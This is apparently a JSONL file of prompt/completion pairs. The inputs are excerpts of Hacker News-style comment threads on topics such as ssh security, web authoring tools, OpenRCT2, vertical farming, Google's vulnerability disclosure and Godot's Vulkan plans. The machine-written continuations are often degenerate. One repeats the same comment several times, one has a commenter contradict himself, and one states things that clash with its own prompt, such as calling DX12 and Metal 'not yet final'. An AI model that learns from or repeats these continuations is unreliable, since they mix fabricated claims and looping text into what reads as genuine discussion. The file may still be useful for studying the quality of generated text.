you're done.\n\n~~~\ntptacek\nI'm not talking about the agent. I'm talking about", "input_text": "\nars\nIt's written in python, which takes about about 2m-5m just to get out of bed\nwith nothing loaded or running. (I don't consider that a lot BTW, not a ding\non python.)\n\nThere's about 200K of source code, but basically all the overhead is the\npython runtime.\n\n(The memory usage of python doing nothing varied on different machines, but\nwas always virtually identical to the usage of fail2ban.)\n\nAlso, the virt usage is mostly large memory mapped logfiles, not actual swap\nusage.\n\n------\njfb\nAnother thing that occasionally cheeses me off is the restriction on canonical\nports < 1000 to user 0. Yes, I know it's standardized. Yes, I know that when\nit was codified the world looked very, very different. It's still annoying and\nrequires cargo-cultish hoop-jumping (albeit well understood hoop jumping) to\nrun a decently secure service.\n\n------\nrellik\nI like some mix of the following:\n\n\\- disable passworded logins (only keys)\n\n\\- ssh bastion host\n\n\\- decoy ssh honeypot on port 22 ()\n\n------\npwg\nThis is useful to protect sshd from random scans, but to still allow you\naccess from anywhere when you need that access:\n\n\n\n~~~\njulian37\nDo yourself a favor and use public key authentication rather than passwords.\nIt's both more secure and (together with ssh-agent) more convenient.\n\nUnless you're logging in from other"} +{"output_text": "/Node.js/etc don't just generate the HTML and CSS and\nJS and a UA and a backend API and a RESTful interface for a given schema\ndirectly.\n\n~~~\ncoldtea\n> _holding static the requirements that the resultant DOM has to:_\n\nThen you should be a big fan of Ember, Angular, React, etc, which don't do\nthat.\n\n> _5\\. if a web-app, talks to", "input_text": " disagree with you. The Flash authoring tools WERE amazing.\n\nWhen I'm feeling in a trolling mood, I tell people that Flash is still ahead\nof JS and HTML5. Not only was the IDE incredible, but AS3 was literally a\ntyped version of JavaScript with XML liberals. That's right, it had the best\nfrom JavaScript, TypeScript and JSX, 10 years before any of that existed in\nthe front end web development toolkit.\n\nAnd you guys hate on Flash! :)\n\n~~~\ncoldtea\n> _Electron has excellent authoring tools aimed at web developers. Namely, the\n> ones they are already using._\n\nYou must have a very different definition of excellence if you believe that\nthe current web authoring tools (whatever IDE or editor + plugins people use)\nare in any way close to \"excellent\".\n\n~~~\nderefr\nWhat would you expect web development to be like? I mean, holding static the\nrequirements that the resultant DOM has to:\n\n1\\. reflow when resized (unlike a PDF);\n\n2\\. work with screen-readers (unlike naive custom rendering engines in games\net al);\n\n3\\. work with accessibility-enabling UA stylesheets (unlike native UI\ntoolkits);\n\n4\\. be printable without a separately-authored for-print version;\n\n5\\. if stateful, uses idiomatic HTTP request/response cycles that enable\nnetwork-level HTTP caching;\n\n5\\. if a web-app, talks to a simple mostly-stateless HTTP API that can also be\nconsumed unchanged by API client libraries.\n\nThere is a reason that Dreamweaver and Publisher are separate apps; and there\nis a reason Rails/Phoenix"} +{"output_text": " because OpenRCT2 is built with the assumption that the game will be\ndownscaled to the system DPI.\n\n------\njokoon\nI remember a game called \"king\" that was like that. It was a 2D platformer,\nbut it had a 3D effect.\n\nI think it was made in flash, but I think it was also available for linux.\n\n~~~\nsclangdon\nI think you're thinking of King's", "input_text": " bugs that\nprevented me from playing.\n\nGive it a spin if you were (or still are) into the original Rollercoaster\nTycoon!\n\n~~~\nsqueaky-clean\nThanks for the info, I definitely will. RCT and RCT2 are among my favorite\ngames ever made. I still load them up at least once every 6 months. Leafy Lake\n/ Lucky Lake will always have a place in my heart.\n\n~~~\nlucb1e\nThat's one of my favorite levels too! Whenever I'm unsure which one to load\nup, that's almost inevitably going to be it :)\n\n------\nantimatter\nI wish someone did something similar for Populous: The Beginning.\n\n------\nhippich\nI wonder if there is some universal way to increase DPI for SDL-based apps. I\nam on linux and I can't read anything =(\n\n~~~\nsclangdon\nSDL2 has SDL_WINDOW_ALLOW_HIGHDPI, which creates the window in high-DPI mode.\n\n~~~\njanisozaur\nI have added poor man's scaling in\n[https://github.com/OpenRCT2/OpenRCT2/pull/2280](https://github.com/OpenRCT2/OpenRCT2/pull/2280)\nyou can also look into the investigation lead in\n[https://github.com/OpenRCT2/OpenRCT2/pull/2328](https://github.com/OpenRCT2/OpenRCT2/pull/2328)\n\n~~~\nVMG\nIsn't there a way to preprocess the sprites and create 2x and 4x scaled\nversions?\n\n~~~\njanisozaur\nNo,"} +{"output_text": "time, we had the same situation with 3D printing, only the tools were\ndifferent.\n\nThe first 3D printers were very expensive, you had to pay a lot for one, and\nthe quality was not good. The second thing that came along was the\n\"StlFiles\" which allowed you to download 3D models and print them. This was\ngood for a while, but again, the quality was not good and the cost was still\nvery high.\n\n", "input_text": ".\n\n------\nukoki\n\"There's no money in 3D printing\"\n\nI'm skeptical. For example, developing seeds is another industry potentially\nvulnerable to the \"customers could become the producers\" dilemma but Monsanto\nis doing pretty well. Similarly you can use Microsoft products to download,\ncrack and freely reproduce Microsoft products - but they're not doing too bad\neither. I wouldn't underestimate the combination of legislation, monopolies\nand/or powerful branding.\n\nAll it would take is for your Acme 3D Printer to have its own a Acme 3D\nTemplate Store and a large market share.\n\n~~~\namalag\nMonsanto is not a good comparison because they force you to buy seeds from\nthem the next year. You are not allowed to collect seeds from the plants you\ngrow and they will sue you. And our judicial system agrees with Monsanto\nbecause we think DNA is patentable. This will hit the supreme court in\nFebruary.\n\nU.S. Court of Appeals for the Federal Circuit, which ruled that \"once a\ngrower, like Bowman, plants the commodity seeds containing Monsanto's Roundup\nReady technology and the next generation of seed develops, the grower has\ncreated a newly infringing article.\"\n\nLearn more:\n[http://www.naturalnews.com/037589_monsanto_saving_seeds_farm...](http://www.naturalnews.com/037589_monsanto_saving_seeds_farmers.html#ixzz2H8Nfro7c)\n\n------\nZenst\nI disagree with the articles conclusion. It does make some good points about\ncosts and how a dedicated tool is better but if we just go back a little in\n"} +{"output_text": " schedule would have been\nable to fix these problems.\n\n~~~\ndavelnewton\nHow do you handle the pump dying?\n\n(I'm assuming you have a backup plan.)\n\n~~~\norasis\nI have a backup plan. I have a backup pump.\n\n------\njoeblau\nThis is cool, but I'm not sure how it compares to the systems I've seen that\naren't necessarily vertical farming but are more like urban farms.", "input_text": "BSD.\n\n------\nmablap\nThe proposed distro (Debian) was spot on for me. You could probably split the\nquestionnaire between people who want to try linux for the first time, and\npeople who want to try a new distro.\n\n------\nolp2\nIt just pinpointed Debian, however I think asking about the package manager\ncreates too big of a bias for a \"chooser\".\n\npick: next button messes with the browser history.\n\n------\nsmkellat\nIt guessed Xubuntu. I'm using Xubuntu at the moment. How it then jumped from\nthat to Slackware...damfino.\n\n------\nsteanne\nrolling versus non?\n\n------\nashitlerferad\nSeems to be broken without JavaScript turned on?\n\n \nZipGrow: Vertical farming/urban agriculture system - davelnewton\nhttps://shop.zipgrow.com/\n======\norasis\nI own 20 ZipGrow towers and have become quite disillusioned with them across 3\ngrowing seasons.\n\nThe biggest problem is that there is nothing to buffer moisture on the roots\nif there is an intermittent problem.\n\nYou might get a nice crop of basil growing and then a clogged emitter for 12\nhours can be the death of those plants.\n\nHere are all of the failure modes I have experienced:\n\n\\- pump dying \\- Leak in base causing all water gone in 24 hours \\- clogged\nemitters \\- water choosing off route through tower and not hitting the plants\non top \\- emitters getting blown off causing water to spray outside tower \\-\ncircuit breakers trip from pump\n\nOverall I\u2019ve probably lost half of everything I\u2019ve planted in a zipgrow.\n\nA professional operation with a daily maintenance"} +{"output_text": " we don't want that\" is shortsighted and short-sighted alone.\n\n~~~\nwmf\nGoogle is also the only company that has the balls to publish a \"bug bounty\"\ninstead of a \"security vulnerability\".\n\n~~~\njordanwallwork\nI think this is a very naive and shortsighted view of the motivations behind\nthe two types of disclosure.\n\nA bug bounty is a way for a company to thank a security researcher for\nident", "input_text": " easier thing to overcome.\n\nCould you share with us what books and programming languages/tools you've been\nusing? While there are certainly common ideas, different types of language\ntake a different approaches to describing a program. Maybe whatever you've\nchosen doesn't suit your way of thinking particularly well, and you would find\nanother tool more intuitive at this stage.\n\n~~~\namorphid\nThe book I've had the most luck with is _Learning To Program_ by Chris Pine.\nThere's a question in the book about counting the sections of land on a\nstandard X,Y grid map. That would be a good example of a problem that blows up\nmy brain.\n\n~~~\nChris_Newton\nWhich of these would you say is closest to your difficulty?\n\na) You don't understand what the problem means.\n\nb) You can't describe an algorithm that would solve the problem in plain\nEnglish or \"pseudocode\".\n\nc) You could describe the algorithm informally, but don't know how to code it.\n\n \nGoogle posts Windows 8.1 vulnerability after 90 days - mmorris\nhttp://www.engadget.com/2015/01/02/google-posts-unpatched-microsoft-bug/\n======\ncheald\nThis story is surprisingly hostile to Google. A 90-day window after which the\nbug is published is about as responsible as responsible disclosure gets. The\nheadline really rubs me the wrong way, as though Google raced to publish this\nvulnerability to spite Microsoft.\n\nNot talking about the bug doesn't mean it's not there, but talking about it\nsure makes people aware that they should perhaps take extra precautions until\nMicrosoft patches the bug. The attitude that \"you're giving info to the evil\nhackers and"} +{"output_text": " overwhelmed, I would just close the\nbrowser and go to sleep. This would usually solve the problem.\n\n------\njoeblau\nI've been trying to focus on the task at hand for the last few weeks and it's\nbeen tough. I've been doing a lot of reading and have noticed that I feel\nbetter when I'm writing down my thoughts. I feel like I'm writing it in my\nbrain, which helps me focus.\n\n------\njoe", "input_text": "\n\nI have tried many different methods, the one I am trying now is using an app\nto implement the GTD method. So far it is working well.\n\nPreviously I have tried to plan things out the night before and be able to\njust hit the ground running. It works well, but having more of a running list\nof next actions with GTD seems to be a better fit.\n\n~~~\ndalacv\nDesign is actual work to some people.\n\n------\nmancerayder\nHere's something to try: 20m chunks and breaks. And patience. Sometimes it\ntakes a few empty cycles of 20m before breakthroughs begin. Once begun, they\nself-motivate.\n\nYou don't have to crank through until something starts. And it might even be\nokay to let your mind wander during the 20 minutes.\n\nThen break. Take a few minutes, step away, go outside, pace around, glance at\nHN, anything.\n\nBack to the 20m.\n\nIt's similar to a warmup at the gym when you're starting to do heavy sets.\nHere you're priming your mind.\n\nMy philosophy is, the second you have to fight yourself / your mind\n(motivation), you've already lost.\n\n------\njimmyjack\nAs somebody who has suffered basically the exact same thing, one book that has\nimmensely helped is: [https://www.amazon.com/Self-Directed-Behavior-Self-\nModificat...](https://www.amazon.com/Self-Directed-Behavior-Self-Modification-\nPersonal-Adjustment/dp/1285077091)\n\nEssentially I found that I could tackle any task, but on the first flash of\nsome other more exciting idea, feeling"} +{"output_text": " abandoned).\n\n~~~\nmikeash\nI don't know about the \u201ccrowded cities\u201d part, but I agree that urban\nagriculture is mostly a luxury for people who can afford it.\n\n~~~\ntomp\nI think it's mostly a luxury for people who can afford to have a yard. In\ncities, where space is a premium, it's not really feasible to have a yard\nwithout having to sacrifice other things.\n\n~~~\nm", "input_text": " greens for much of the world's population. The economics\nare slowly improving with LED efficiency increases and capital infusion to\nscale farms.\n\n1:\n[https://search.proquest.com/openview/ccf876147b3e8a224da6770...](https://search.proquest.com/openview/ccf876147b3e8a224da6770203e5fa4d/1?pq-\norigsite=gscholar&cbl=18750&diss=y) 2:\n[https://www.upstartfarmers.com](https://www.upstartfarmers.com) 3:\n[https://www.plenty.ag/the-feed/plenty-acquires-bright-\nagrote...](https://www.plenty.ag/the-feed/plenty-acquires-bright-agrotech-to-\nglobally-scale-impact-of-local-farmers/)\n\n~~~\ntomp\nDo you have any idea, why do people concentrate on aquaponics, not aeroponics?\nIs it just simply easier to implement, or better researched? Or is it actually\nbetter (higher yield, closed-loop system,...)?\n\n~~~\nSophistifunk\nHydroponics would be the alternative to aeroponics, I think? Aquaponics\nusually means a hydroponics system in a loop with fish tanks.\n\n------\nflagada\nI don't really understand the whole \"urban agriculture\" crowd.\n\nPeople do often live in crowded cities, but there's plenty of space to grow\nstuff on outside of cities. It's the same kind of thinking that gave us the\nsolad roads (which were, predictably,"} +{"output_text": " the last decade. I\nhave been to some of them.\n\n------\njason_slack\nI did the NY one a while back. It was great.\n\n------\njason_slack\nI did the NY one a while back. It was great.\n\n------\njason_slack\nI did the NY one a while back. It was great.\n\n------\njason_slack\nI did the NY one a while back", "input_text": ".html\n\n======\nschoen\nI did the two permanent room escapes run by Real Escape Game/SCRAP in San\nFrancisco (in the New People mall in Japantown), namely Escape from the\nMysterious Room and Escape from the Time Travel Lab. They were great fun. (My\nteams didn't manage to escape from either of them.)\n\nI also did their Escape from the Bank (themed after the aftermath of a bank\nrobbery), where I think my team was the only one to make it out. That event is\npossibly less awesome because you're seated at a table in a big hall with a\nlot of other teams around you, rather than exploring small room all by\nyourselves.\n\nNow I'm looking forward to trying the games in New York City!\n\n~~~\nfallinghawks\nI did Escape from the Mysterious Room as well, and really enjoyed it. We\nprobably needed another 15 minutes to complete because we got hung up on one\nof the puzzles that needed a piece we hadn't found yet.\n\nI'd like to do it again but would like to go with people who have actually\nhave played escape games (esp. Japanese) before.\n\n------\nUdo\nIt's interesting how much LARP ideas are beginning to diffuse into general\nculture. Lastly I was talking to someone who basically organized themed mini-\nLARPs for corporate teams. Since these are audiences who generally aren't\nfamiliar with the medium, they're always amazed.\n\nI think as our natural environment continues to become safer and more\nvirtualized, these immersive adventures and ARGs will become more popular and\nmainstream.\n\n------\nwzsddtc\nThese are really popular in China Mainland as well since"} +{"output_text": "------\njoe_the_user\nI think the idea of a \"marketplace\" for professional services is a good one.\n\nBut I think the author is conflating two things. One is the idea of a\nprofessional marketplace as a place where you can find a lawyer, accountant,\ndoctor, etc. The other is the idea of a marketplace as a place where you can\nbuy a used car or a used iPhone.\n\nThe former is a good idea, but", "input_text": " [1]. The end-user signs up with\na Stripe account, you get an OAuth key, and can make charges on their account.\nYou can also collect fees on top of any payments [2].\n\n[1]: [2]:\n\n\n~~~\npeteforde\nThank you so much! I don't know how I missed that.\n\n------\nyummyfajitas\nI pay $X for clothing (I haven't calculated it, but assume it's relatively\naverage for a man who doesn't wear suites). I'll pay $2X if you can make me\nwell dressed.\n\nKey point: I need to trust that your decisions are correct. What I want to pay\nfor is not thinking about this and knowing that it's handled.\n\n~~~\nimcqueen\nOne major factor in appearing well dressed is having clothes that fit\nproperly. Even expensive clothes look bad when they're not the right size and\ncut. It may be cool if a startup could curate clothes that match both style\nand body type.\n\nThis could exist by the way, I don't know of any off the top of my head\nthough. Bonobos.com is the only thing that comes to mind. They're not\nspecifically doing the above, but I think they offer a variety of fits/sizes.\nI've had a good experience with them in the past.\n\n~~~\ncynicalkane\nSome companies do computerized made-to-measure clothes. These reportedly work\npretty well, but the lead time and effort required by the consumer is very\nlarge. The ones I know about only do business wear.\n\n"} +{"output_text": " small/new/unknown/dumb/minority of customers.\n\n~~~\ntptacek\nThat's not a legal argument.\n\n~~~\nMadWombat\nIt's a legal argument.\n\n------\nsant0sk1\nI'm not sure why people are getting all pissy about the guy hosting child\npornography. He's not being persecuted for it. He's being persecuted for\nbeing an idiot.\n\n~~~\n", "input_text": " based servers with their cases ripped off on the\nwire-frame racks you would find in a home improvement store. After seeing that\nand hearing they lacked any fire suppression system I respectfully walked away\nfrom their bid.\n\n------\nMadWombat\nWell, there is a link to a thread on a webhostingtalk.com, where some people\nare discussing the issue. After reading the original posting by the blog\nservice provider and some of the replies, here are some basic lessons to be\nlearned from this.\n\n1\\. A lot of people have no clue as to the legal process\n\n2\\. It pays REALLY well to have external backups\n\n3\\. It might be a good idea to use encrypted volumes to store sensitive data,\nso if authorities are involved, they have to serve you with papers to get your\ndecryption keys. This way you stay more informed.\n\n4\\. Your hosting provider probably has a clause in their ToS that more or less\nsays \"we can terminate your service whenever, the hell, we want and there is\nnothing you can do about it\". Deal with it.\n\n5\\. This story still sucks.\n\n6\\. Seems like this guy was simply small enough to just serve a court order\nand shut down his service. I don't think anyone would shutdown Google for\nquestionable content on a blogger account or google web pages.\n\n7\\. I am pretty sure, that there is no legal way for a law enforcement agency\nto remain anonymous while doing something like this. Either I am wrong about\nit or something is amiss.\n\n~~~\nadamc\nYour hosting provider probably does have such a clause, but after exercising\nit they should expect to go out of business.\n\n~~~\nMadWombat\nNot if they only do it to"} +{"output_text": "\nmatter. )\n\n~~~\nmikece\n> The Non-Pro model will use ARM. You will end up with a 12\" Macbook that is\n> priced at $799.\n\nWhy not just get a beefed up iPad? It's cheaper, has a better processor,\nbigger screen, etc.\n\n~~~\nbluGill\nThe biggest problem with iPads is that they are not a good computer. They are\nnot a", "input_text": " just keep patching it\nto run on latest macOS. Along with Windows Bootcamp option. That will be Mac\nPro, iMac Pro and MacBook Pro.\n\nThe Non-Pro model will use ARM. You will end up with a 12\" Macbook that is\npriced at $799. With a possible 14\" Macbook at $899 ( The BOM cost of an iPad\nPro 11\" would be the same as 12\" Macbook, you are essentially swapping the\ncost of back camera modules to additional 128GB NAND, the Touch Screen And\nGlass Panel to Track Pad and Keyboard. ) It will be like the Macbook 2015,\nexcept it doesn't cost that ridiculous $1299. And $799 might have been the\ncheapest portable Mac in recent history as far as I could remember. Even the\n11\" MacBook Air was priced at $899.\n\nIt would greatly expand the macOS market shares. Which has very much stagnated\nfor the past few years. Out of 1.4B PC market, Apple has 100M macOS users, 7%\nmarketshare. Compare this to 4.5B Smartphone Apple has 1B iOS users, 22%\nmarketshare. And the most important thing to me would be that Apple also\naccept / admit Tablet computing will never take over the Desktop / Notebook,\nor keyboard / trackpad paradigm. It is good enough for large enough of a\nmarket to worth continuing the investment into Mac other than trying to get\niPad / Tablet to kill it.\n\nThe only problem with this hypothesises is that the software would be very\nmessy. Would Xcode force all Apps by default to compile with Fat binary? Is\nApple going to tell its user the different? ( Not that I think it would"} +{"output_text": " of the line. I got a DORC safety razor and was very disappointed with the\nshaving experience.\n\nI switched to a Gillette Mach3 and have been very happy with it.\n\n~~~\nevo_9\nSame here. I tried the Gillette Mach 3 and was not a fan. I switched to the\nDORC and have been very happy with it. I have a pretty thick beard and it\nshaves pretty well. I have not had any", "input_text": " the rest, shaving oil will do the trick.\n\n~~~\nauctiontheory\nI went through a phase of thinking as you are. And then I realized that in the\nbig scheme of my life, I was spending way too much time focusing on a very\ninsignificant piece of my day. I could get much better return applying the\nsame time and energy to choices that have bigger impact. And... did I really\nwant to shave with blades that could slice me up?\n\n~~~\ndrunken_thor\nI don't think you gave it enough practice, I have been using a double edge for\nyears and shave faster than I did with cartridge because I only need one pass.\n\nFeather blades and olive oil are the only thing I use. Also double edges were\noriginally called safety razors for a reason.\n\n------\nevo_9\nI wish these guys offered a Safety Razor and/or blades but it's probably not\npossible to make money off those. Which is too bad, I like the company, like\nthe service but at the end of the day you simply can't beat safety razors;\nthey are cheaper and they actually work better. That's the only reason I\nstopped using this service.\n\n~~~\nwonderyak\nFWIW - You can get safety razors from DSC's supplier -\n[http://www.dorcousa.com/](http://www.dorcousa.com/)\n\nI was looking at DSC for a long time and ended up trying Harry's. Was very\ndisappointed with Harry's blades. Next time I order anything it will be from\nDorco.\n\n~~~\n_JamesA_\nI went down this road too. A long time Gillette Mach/Fusion/whatever is the\ntop"} +{"output_text": "esty is.\n\nPrivacy is a human right, and we should be demanding it as a right, not\ntelling each other we don't want it.\n\n~~~\narbitrage\nI'm not talking about the desire for privacy in the abstract. I'm talking\nabout the people I know.\n\n~~~\ngnaritas\nThen you should be talking about them, not making sweeping generalizations\nabout people you don't know.\n\n~~~\narbitrage\nI", "input_text": " side that is non-\nfunctional, and the \"cyborg effect\" basically goes away. The human brain hates\nasymmetric faces. Such a stupid oversight, may have been enough to save the\nconsumer effort if they did this from the get-go.\n\n~~~\nxxs\nLeave that 'piece o'plastic' stuff, the extra room can be utilized as extra\nbattery.\n\n~~~\nnotatoad\nthat'll increase the weight though.\n\n~~~\nfunction_seven\nI think it\u2019s better to have balanced weight, even if it means more. While it\nmight be annoying to have more weight on the bridge of your nose and over your\nears, it\u2019s even more annoying to have an off-center moment of force.\n\nIt\u2019s like carrying one 12-pack of beer rather than two.\n\n------\nkharms\n>>Glass is also helping healthcare professionals. Doctors at Dignity Health\nhave been using Glass with an application our partner Augmedix calls \u201ca remote\nscribe\u201d.\n\nMy primary care doctor has a human scribe. The scribe is a recent graduate\n(BS), planning on going to med school next year. Being physically in the room,\nwatching the doctor work is a great benefit to her. I'm not sure she'd benefit\nas much from watching a live stream.\n\nAdditionally, as a patient I wouldn't be comfortable being recorded.\n\n~~~\narbitrage\nI would be totally cool with being recorded. I think its beyond time we get\npast the ridiculous false modesty that seems to be considered a virtue, but\nwith no real benefit.\n\n~~~\ngnaritas\nThe desire for privacy is not \"false modesty\"; given the sentence you just\nuttered, I'm not convinced you even know what false mod"} +{"output_text": " I'll try\nto address them.\n\n~~~\nedpichler\nI'm not living in Japan, but I have a Japanese wife and I know a lot of\nJapanese people.\n\nI'm not a big fan of the current government, but I think the article is\nexaggerating a lot.\n\n~~~\nsdrothrocky\n_> I'm not a big fan of the current government, but I think the article is\nexaggerating a lot", "input_text": " make good pay.\n\n~~~\nuser5994461\n$1.8M per employee for Apple\n\n[http://uk.businessinsider.com/top-tech-companies-revenue-\nper...](http://uk.businessinsider.com/top-tech-companies-revenue-per-\nemployee-2015-10)\n\n~~~\nlultimouomo\nThat's revenue. While Apple is hugely profitable, I'm pretty sure it has great\nmanufacturing costs and per-employee profits are a fraction of that (the first\ngoogle result says $0.4M).\n\n~~~\nfoota\nProfit includes employee cost though. It seems those should be excluded.\n\n~~~\nluckydata\nDepends if you're calculating gross or net.\n\n------\nprinceb\n> ruthlessly capitalist racists\n\nactually, these people are not racists. the racists are the ones not hiring\noutside their race, even if it's cheaper. the ruthlessly capitalist is an\nequal opportunity discriminator.\n\n~~~\ndanieltillett\nI have always thought that capitalism is the grim reaper of other ism's like\nracism, sexism, ageism, etc. If a society underprices a group of people for\nirrational reasons then a capitist will recognise this and solve the problem.\n\n------\nedpichler\nThis description of how business is done on Japan makes me sad. It can't be\nall true, I really hope I didn't get the jokes and the author is exaggeration\nfacts more than he described.\n\n~~~\nsdrothrock\nI've been living and working in Japan for almost a decade; if there are parts\nyou're wondering if are exaggeration, feel free to comment here and"} +{"output_text": ", but it's also very promising.\n\nI'm a front-end developer and I'm not a big fan of jQuery. I like the concept\nof this framework. I'm not sure it will be adopted by the community, but it's\na good start.\n\n------\njamespitts\nI'm a big fan of the concept, but I think the name is a bit too similar to\njQuery. I think \"my.js\" would have been a", "input_text": " this because this is the feature you've\nhighlighted with your benchmark.\n\nHere an explanation of my words :\n\nscope.ready(function(my, $) {\n\n$(\"h2\").addClass(\"mytest\");\n\n$(\"div\").appendHtml(\"

Test

\");\n\n$(\"h2\").addClass(\"mytest2\");\n\n});\n\n>>> My new h2 doesn't have any class.\n\nI'm looking forward to see how this will evolve! Keep going!\n\n~~~\njie\nIn my.js, elts wrappers are both cached by id and in their native\nHTMLElements. The performance increases are sometimes from 1 to 100. Caching\nFTW. In fact, caching has only 1 minor fallback: you can't change an elt id if\nyou have already accessed it by his former id (but who does? it's such bad\npractice). For the above snippet, it's normal that your new h2 doesn't have\nany class since the $ fn only returns the first h2 (like querySelector)\ncontrary to jQuery $ who returns a set. The 3rd line of your code only add\nclass to your first h2. To get a set of selected elts in my.js, use \"$.elts\"\nand it will work! If you're interested, I may give a presentation on my.js at\nthe next WebWorkerCamp in Paris!\n\n------\ntbassetto\nFirst, I would recommend you to update the website design :) It lacks color\n(and backgrounds!) in Firefox and it needs an horizontal scrollbar on my 24\"\nscreen :|\n\nConcerning the framework, I must admit that I'm quite impressed. It's clearly\ndifferent from current mainstream framework"} +{"output_text": " that we don't\n> want to do.\n\n~~~\npjmlp\n> dx12 and metal\n\nSince DX12 and Metal are not yet final, and since Microsoft is not known for\nbeing open, I don't expect any vendor specific implementations.\n\n~~~\npjmlp\nActually, since the DX12 and Metal API is already public, it is already\npossible to port Godot to Windows with no DX12 support at all.\n\nHowever", "input_text": " most desktop and mobile platforms, which makes it unattractive\n> to implement for us (as it means considerably more effort to write, debug\n> and maintain).\n\nAnd then they're talking about the Vulkan PI in TFA which probably won't be\nready for some time too...\n\n~~~\ncsdreamer7\n> However, the arguments against bgfx seem to amount to \"I want to do it\n> myself\", a classic \"not invented here\" issue.\n\nI disagree. It has been 9 months since that post. bgfx still does not list\nsupport for Vulkan. They already implemented DX12 and Metal. They still claim\nsupport for Windows XP and Vista. Godot says it will get Vulkan support in 3.2\nwhich comes out in a few months. Otherwise they would have to wait and work on\nbgfx to get it working. DX9, XP, Vista, feels like a lot of baggage for what\nGodot is right now. A very quick and easy to use game editor that easily\ndeploys on both Win and Linux.\n\nAlso, your edit links to a pretty outdated article (2017).\n\nSee Godot's about face on Vulkan here:\n\n[https://godotengine.org/article/abandoning-gles3-vulkan-\nand-...](https://godotengine.org/article/abandoning-gles3-vulkan-and-gles2)\n\n> Vulkan was always a tempting alternative to solve them and to ensure we are\n> much safer from driver bugs (after all, this is what the API was intended\n> for). Still, the lack of support on macOS made it unappealing. Having to\n> write a Metal backend to support this OS is a lot of effort"} +{"output_text": " job.\n\nBut he also seems to be very much worried that his employer will be held\naccountable for his decision.\n\nHe says \"I have a responsibility to myself and my family to do what is best for\nme and mine.\"\n\nBut he also says \"I have a responsibility to my employer to do what is best for\nthem.\"\n\nHe says \"I have a responsibility to do what is best for my health.\"\n\nBut he also says \"I", "input_text": " circumstances\n(the difficulty of the job being the biggest). There are four employees to\ncover 21 8-hour shifts each week (24 hours a day, 7 days a week total).\n\nIf someone calls in sick, the one of the others has to cover the shift. Under\nno circumstances can the house ever be unstaffed. Aside from a bit of overtime\npay, the company isn't hurt, but everyone else is.\n\nNot all jobs are like this. The consequences of taking a sick day as a\nvacation day (or simply being sick) usually aren't that severe. Maybe it's a\nmanufacturing line and the manager has to step in to fill your role or\nsomething. Maybe it has no effect at all on anyone around you. In those cases,\nmaybe it doesn't make sense for the company to distinguish between time off\nfor being sick, and time off for vacation.\n\n> The whole point of PTO is that the company is agreeing to give you 10 days\n> worth of slack.\n\nNo, that's only true if the company doesn't distinguish between sick time off\nand vacation time off. Typically, where I've worked, all PTO was lumped into a\nsingle bucket, and no-one really cared. However, that is really more true of\nwhite collar work with long timelines and not so much in most other jobs (or\nthe parent post I was replying to).\n\n~~~\npnutjam\nUnderstaffed is a management issue, not an employee problem.\n\n~~~\ntripzilch\nI suppose the disabled adults living there have the biggest problem...\n\n~~~\npnutjam\nAre they hostages?\n\n------\nvore\nThe author seems to very much worry that negative press is going to be the\ncause of him losing his"} +{"output_text": " of each month.\n\n~~~\nvijayr\nI think you are being a bit too harsh.\n\n1\\. The idea is to start a company in India. This is a HUGE market. 2\\. The\nidea is to start a company with a small amount of capital. This is also a\nHUGE market. 3\\. The idea is to start a company with a group of people who\nhave a proven track record of starting companies. This is also a HU", "input_text": "\nalready established market?\n\nIs the ISP environment so hostile as to squeeze even the biggest players out\nof town? Is Google slowly ramping down even existing Fiber operations? What's\ngoing on behind the scenes here? If the microtrenching issue is driving this,\nwhy can't Google of all companies put up the investment to re-do it right?\n\nThere's failing an experiment, and then there's realizing something is sub-par\nand putting in the work and money to make it right for your customers. I feel\nlike Google has misconstrued the two here.\n\n \n\nIndian version of Y Combinator... - prabodh\nhttp://iaccelerator.org/\n\n======\nplinkplonk\n\"Indian version of Y Combinator\"\n\nYeah Right!\n\nFrom the FAQ\n\n\"When the company is formed we set up a bank account. When the bank account is\nset up we deposit a check for the full amount of our commitment ie. 5 Lakh\ndirectly into it. A company secretary is brought in to distribute funds from\nthe company checking account as per the budget instructions. Adjustments to\nthe budget can be made at board meetings. Founders _do not_ have direct check\nwriting control of the bank account.\"\n\nYou need to buy an extra laptop, wait for the next board meeting and/or get\napproval from the \"Company Secretary\".\n\n\"Founders _do not_ have direct check writing control of the bank account!\"\n\nSounds like a great way to run a startup!\n\nAnd they have the audacity to call it \"The Indian version of YC\".\n\nI doubt PG and co sit around approving line items and writing checks every\nother day! AFAIK they hand over the money at the beginning"} +{"output_text": " device, not in the cloud. So the cloud cannot claim\npatent on the device.\n\nSecond, the patent is for the \"core\" of the system, not for the specific\nimplementation. So the core cannot be used in another system.\n\nThird, the patent is for a \"method\" of doing voice recognition, not for the\nsystem itself. So the core cannot be used in another system.\n\nFourth, the patent is for a \"system\" that does", "input_text": " moved on with our lives and that was that.\nNo follow-up, of course.\n\nAh, the delights of Pure Intellectual Research in the ivory towers of academe,\nright?\n\n~~~\nunishark\nGenerally they want to license the IP to you, which might be a good idea as it\nadds prestige, plus they will defend it in court. Note that even if your\ntechnology did not infringe on their patents, your marketing claims might have\nappeared to.\n\nMany schools try to make money by licensing patents, even giant public schools\n(oddly). Faculty and research staff are pressed to make invention disclosures\nof ongoing research that hasn't been published yet, and the school decides if\nit can make money patenting it. If they do, the inventor gets a cut.\n\nIn terms of ownership, all govt funding of the research means is the govt\nitself gets a free license to use it, not the public.\n\n~~~\nglangdale\nNone of the patents seemed to have anything to do with anything we did whether\nactual IP or marketing claims. I think the generalized scheme was \"spam out\nthis huge brochure to enough people and hope we get something back\".\n\nI understand the whole 'ownership of govt funded stuff' well enough; I don't\nthink I am entitled to ride around in a tank. And yet it doesn't seem entirely\nlike the public good that was trying to be achieved, especially this kind of\nspammy approach, where they clearly had no idea of which patent we might be\n\"infringing\" or interested in licensing.\n\n------\nstreetcat1\nThe patent is likely invalid.\n\nFirst of all, based on my understanding of Mycroft architecture, voice\nrecognition is done on the"} +{"output_text": " Android.\n\n~~~\nuser5994461\nYou can't do that with iOS either.\n\nThe only way to do anything on iOS is through notifications.\n\n~~~\nAndrew_nenakhov\nI am not talking about notifications, I am talking about _push\nnotifications_.\n\n~~~\nuser5994461\nPush notifications are a special case. They are used to tell the user that\nsomething new has been installed or that the app is still alive.\n", "input_text": " putting my game Neptune's Pride in the Epic Games store and\nusing PayPal to collect payments.\n\n~~~\nDetroitThrow\nI had been trying to remember the name of this game for over a year now, my\nfew Google searches for \"long term space strategy mmo\" never yielded anything.\nI love that hackernews seems to dredge up the interesting parts of the net.\n\nAnyways, Neptune's Pride is very very fun and I can't wait to play it again!\n\n~~~\njay_kyburz\nHello DetroitThrow! Glad to hear my not very subtle plug for the game might\nget at least one 